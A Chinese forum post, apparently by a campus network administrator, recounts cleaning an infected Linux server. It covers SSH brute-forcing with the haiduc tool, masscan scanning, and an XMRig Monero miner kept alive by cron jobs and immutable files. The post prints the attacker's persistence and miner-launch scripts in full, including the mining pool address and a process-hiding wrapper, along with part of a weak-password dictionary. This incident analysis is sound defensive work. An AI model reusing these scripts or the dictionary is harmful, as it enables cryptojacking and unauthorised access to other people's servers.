本帖最后由 666 于 2021-03-20 18:25 编辑
0 前言上一篇文章火了是我没想到的,感谢大家的鼓励,原来不少人都深受这个东西的困扰,近一个星期也在琢磨写点什么好,恰好蜜罐又报警了,于是题材来了。这个机器不是实验室的集群,但是经过一些方法(方法不能说-_-)知道了该机器的ssh用户名和口令。 1 网络连接我的习惯一般是先看网络连接,使用netstat。上篇文章说了,黑客可能会进行bash替换,但是在这台机器上没有发现替换的痕迹,这是提前检查过的,所以系统自带的bash可以放心使用。 可以看到下面的图片里,本机开了n多个大端口,连接了很多主机的22,有一个的状态是已经建立连接,进程是sshd,另外都是等待状态。 这其实就是在同时对多个主机进行暴力破解,如果破解成功就是established状态,time_wait是还未破解成功,正在使用其他的用户名-密码对尝试。 随后使用ss再看一下 同样是本机对其他机器的ssh爆破,只不过这次看到了一个haiduc进程,我们使用grep,过滤出haiduc建立的连接,如下图所示 由此我们可以确定,haiduc应该是个恶意文件。(其实看到这,估计已经有大佬知道是什么情况了,因为haiduc这个工具还是蛮出名的,只不过我几个月前刚开始弄得时候啥也不知道,哈哈哈哈) 接下来我们随机挑选一位幸运进程,在/proc/幸运进程id,查看它的详细情况 然后我们就找到了haiduc的目录。文件夹的内容如下 2 进程列表使用ps查看所有进程 可以看到很多sshd发起的进程,这些命令就是用字典p爆破scan.log里的每一条ip,具体的文件内容看文件分析一节。 3 screen列表查了history记录没有,w也只看到我一个人,last也没有,于是就去看了一下screen列表,果然找到了一个screen。相关命令如下 screen -ls 查看有多少screen
screen -r screenid 连接某个screen
连接上去之后就是这个样子,不断的在尝试用户名-密码对。 我们选择ctrl+c停了它,然后查看history记录 记录显示,黑客步骤如下: 1.使用masscan对5个A段地址进行扫描,然后将存活主机写入ips,随后在ips中提取ip,写入bios.txt。 2.使用banner对bios.txt中的ip进行banner识别,将识别结果写入banner.log,然后在banner.log中提取banner为SSH-2.0-OpenSSH的ip,写入ips.lst,然后将其命名为scan.log。 3.使用haiduc对scan.log中的ip进行爆破,字典文件为p,把爆破结果写入到gasite.txt中。 4.查看爆破得到的结果,然后横向移动到某台机器上
4 cpu利用率我们可以看到,飙到了1486%,是一个叫-bash的进程引起的,查看发起这个进程的文件位置,发现被删了,目录为/usr/bin/-bash。 5 定时任务使用crontab可以查看当前定时任务 这里我们可以看到出现了一个新的目录,/tmp/.cache,我们可以看一下这个目录的内容 这里的bash和上面的cpu利用率最高的-bash有点像,但是并不是同一个病毒。这里暂时不提其他的病毒了(其实这台机器中了三种不同的病毒-_-),提其他的容易乱套,就谈这次的这些。 这个文件夹下的内容是挖矿文件,在第6节中分析。 6 端口扫描文件分析就是前面我们提到了黑客扫描工具haiduc的文件目录,也提到了一些工具的使用方法,在此简单对这些文件做一个分析。其中scan.log,banner.log,bios.txt,ips,因为全是ip或者ip+banner,没啥意思,不写了。masscan这个软件太有名了,大家也都知道,不写了。 6.1 gasite.txtgasite.txt是最后爆破的结果,第一列是用户名,打码的第一列是密码,打码的第二列是ip,后面的端口以及状态。 6.2 pp文件是字典,这些部分内容如下。 root welc0me root welcome root Welcome root welcome1 root welcome@1 root Welcome1 root welcome123 root welcome@123 root Welcome123 root Welcome@123
顺便提一句,这个字典现在已经很强大了,收集了整个内网很多用户名和密码,而且黑客还自己做了一些组合,使用用户名+短口令(例如123,666,2021等)的组合,真让人看的头皮发麻。。。 6.3 haiduc这是一个爆破软件,使用密码字典爆破已知的ip,可以加的参数有:线程数,模式数,密码文件,端口,执行的bash命令 下面是主函数中关于参数的部分 if ( !strcmp(argv[2], "-b") ) { atoi(argv[4], "-b"); v3 = argv[6]; scanbclass((__int64)*argv, (__int64)argv[1], (__int64)argv[3], (__int64)argv[4], (__int64)argv[5]); decrypt_0((__int64)" [+]\n", (__int64)&v5, &v8); printf('X\x1F�', &v8); scan(*argv, argv[1], "scan.log", argv[4], argv[5], argv[6]); } if ( !strcmp(argv[2], "-r") ) { atoi(argv[4], "-r"); genrand((__int64)*argv, (__int64)argv[1], (__int64)argv[3], (__int64)argv[4], (__int64)argv[5]); } result = strcmp(argv[2], "-f"); if ( !result ) result = scan(*argv, argv[1], argv[3], argv[4], argv[5], argv[6]); return result; }
根据配置的参数,调用scan函数进行扫描。scan函数也简单看一下 下面这一部分是调用/usr/sbin/sshd程序 .text:0000000000403206 loc_403206: ; CODE XREF: scandindiv:loc_40313D↑j .text:0000000000403206 mov rdx, [rbp+var_9DA58] .text:000000000040320D lea rax, [rbp+var_1020] .text:0000000000403214 mov esi, 7E8h .text:0000000000403219 mov rdi, rax .text:000000000040321C call fgets .text:0000000000403221 test rax, rax .text:0000000000403224 jnz loc_403142 .text:000000000040322A mov rax, [rbp+var_9DA58] .text:0000000000403231 mov rdi, rax .text:0000000000403234 call fclose .text:0000000000403239 mov rax, [rbp+var_9DA80] .text:0000000000403240 mov rdi, rax .text:0000000000403243 call atoi .text:0000000000403248 mov cs:maxf, eax .text:000000000040324E mov rax, [rbp+var_9DA78] .text:0000000000403255 mov rbx, 'ibs/rsu/' .text:000000000040325F mov [rax], rbx .text:0000000000403262 mov dword ptr [rax+8], 'ss/n' .text:0000000000403269 mov word ptr [rax+0Ch], 'dh' .text:000000000040326F mov byte ptr [rax+0Eh], 0 .text:0000000000403273 mov [rbp+var_9DA6C], 0 .text:000000000040327D jmp loc_40336E
再往下面,是读取密码文件 .text:0000000000402EF4 loc_402EF4: ; CODE XREF: scan+467↓j .text:0000000000402EF4 mov eax, [rbp+var_13B4A4] .text:0000000000402EFA add eax, 1 .text:0000000000402EFD cdqe .text:0000000000402EFF mov rdx, [rbp+rax*8+var_9EA40] .text:0000000000402F07 mov eax, [rbp+var_13B4A4] .text:0000000000402F0D cdqe .text:0000000000402F0F mov rax, [rbp+rax*8+var_9EA40] .text:0000000000402F17 mov rsi, rax .text:0000000000402F1A mov edi, offset aIncercSS ; "[+] Incerc: %s:%s \n" .text:0000000000402F1F mov eax, 0 .text:0000000000402F24 call printf .text:0000000000402F29 mov [rbp+var_13B4A0], 0 .text:0000000000402F33 jmp loc_40302D
接下来关键部分是验证是否登录成功,在checkauth函数里使用了libssh2库进行验证。 .text:0000000000402F74 loc_402F74: ; CODE XREF: scan+35F↑j .text:0000000000402F74 cmp [rbp+var_13B498], 0 .text:0000000000402F7B jnz short loc_402FD3 .text:0000000000402F7D mov eax, [rbp+var_13B4A0] .text:0000000000402F83 cdqe .text:0000000000402F85 mov rdx, [rbp+rax*8+var_13B460] .text:0000000000402F8D mov eax, [rbp+var_13B4A4] .text:0000000000402F93 add eax, 1 .text:0000000000402F96 cdqe .text:0000000000402F98 mov rsi, [rbp+rax*8+var_9EA40] .text:0000000000402FA0 mov eax, [rbp+var_13B4A4] .text:0000000000402FA6 cdqe .text:0000000000402FA8 mov rax, [rbp+rax*8+var_9EA40] .text:0000000000402FB0 mov rdi, [rbp+var_13B4E0] .text:0000000000402FB7 mov rcx, [rbp+var_13B4D8] .text:0000000000402FBE mov r8, rdi .text:0000000000402FC1 mov rdi, rax .text:0000000000402FC4 call checkauth .text:0000000000402FC9 mov edi, 0 .text:0000000000402FCE call exit
5.4 bannerbanner有三个参数,ip文件,端口号,线程数,分析了一下,太复杂了(我太菜了),不停的在跳转,也没啥有用的信息,选择放弃。不过尝试着用了一下,能识别的端口挺多的。 7 挖矿文件分析前面我们提到了bash文件夹是挖矿文件,来看一下他们,经过总体分析,我整理出了执行顺序,下面按顺序分析。 7.1 x 文件nohup ./a >>/dev/null &
不输出结果的方式,在后台运行a。 7.2 a文件pwd > dir.dir dir=$(cat dir.dir) echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d echo "home.php?mod=space&uid=600677 $dir/upd >/dev/null 2>&1" >> cron.d crontab cron.d crontab -l | grep upd echo "#!/bin/sh if test -r $dir/bash.pid; then pid=\$(cat $dir/bash.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then sleep 1 else cd $dir ./run &>/dev/null exit 0 fi fi" >upd chmod u+x upd ./run &>/dev/null
1.将当前目录写入dir.dir。 2.将upd文件写入定时任务,定时任务文件为cron.d,然后运行定时任务。 3.将shell脚本写入upd,然后运行 4.随后运行run脚本
7.2.1 dir.dir/tmp/.cache
6.2.2 cron.d* * * * * /tmp/.cache/upd >/dev/null 2>&1 @reboot /tmp/.cache/upd >/dev/null 2>&1
7.2.3 upd#!/bin/sh if test -r /tmp/.cache/bash.pid; then pid=$(cat /tmp/.cache/bash.pid) if $(kill -CHLD $pid >/dev/null 2>&1) then sleep 1 else cd /tmp/.cache ./run &>/dev/null exit 0 fi fi
这个脚本在检测挖矿程序是否在运行 7.3 run文件#!/bin/bash #ps aux | grep -vw xmr-stak | awk '{if($3>40.0) print $2}' | while read procid #do #kill -9 $procid #done proc=`nproc` ARCH=`uname -m` HIDE="xmrig"
if [ "$ARCH" == "i686" ]; then ./h32 -s $HIDE ./stak3/ld-linux.so.2 --library-path stak3 stak3/xmrig -o 159.203.14.2:443 -a cn/r -k >>/dev/null & elif [ "$ARCH" == "x86_64" ]; then ./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig -o 159.203.14.2:443 -k >>/dev/null & fi echo $! > bash.pid
- 根据平台架构选择软件,h32和h64是用于隐藏程序名的文件,根据HIDE的名称,改变挖矿软件的进程名。
- ld-linux-x86-64.so.2,xmrig都是挖矿软件,xmrig可以在github上找到的,这里就不分析了。
- 159.203.14.2是矿池服务器
- 最后将进程id写入bash.pid,结合上面的定时任务,upd脚本,如果只杀进程,根本处理不了。
8 第一次清理病毒的结果对这个病毒,其实还是常规的方法,删文件,杀进程,清理定时任务。 这次需要杀的进程有点多,还有很多sshd扫描的,所以我选择根据进程名称批量删除,这里分享我的一个命令。 ps -ef | grep "scan.log p 22 nproc;"|cut -c 9-15|grep -v grep|xargs kill -s 9
ps显示所有进程信息,然后过滤出含有特定字符串的,然后找到进程后,剔除掉grep自身的进程号,然后使用将过滤出的进程号作为参数,kill掉所有进程
一般来说结束了,但是对于这台服务器并没有结束。进程重启了。 我们看一下这个进程的详细信息,发现文件被删除了。因此需要查其他方面的信息。 9 /etc/cron*排查经过很长时间的排查,发现这个-bash总是会每一个小时重启一次,我们想到了cron.hourly这个目录,于是直接看一下这个目录的内容 看一下sync 病毒无疑了,也可以上威胁情报查一下,复制bin目录下的一个文件,然后改名,运行,最后删除自己,只留一个进程。而且后续发现,每个cron.* 目录(也就是cron.daily等目录)都有这个脚本的存在。 10 第二次清理病毒的结果首先去bin目录删除sysdrr,发现无法删除,因为文件属性加了i,可以根据图中的命令删除。 同样的,删除sync定时任务的时候也需要用chattr -i先修改文件属性,然后再删除。至此,我们的服务器暂时安全。 11 总结这次的几个病毒针对的是只有cpu的机器,挖的是xmr也就是门罗币,随着比特币的不断升值,各类数字货币的价格也一起升天,各类黑产也更加频繁,如何保护好自己的计算资源成为了一个大问题。在这次的清理中,还碰到了黑客也在登录的情况,我选择直接踢了他。 总结如下: - 这台服务器被攻陷的原因还是因为ssh弱口令,弱口令是第一道门。
- 定时任务也需要定时看一看。
- 近几个月来,校园网内网中的挖矿病毒50%都可以用两篇文章中的方法清除。因此可以考虑写个脚本(todo)。
跟多资源,请访问 大神论坛
|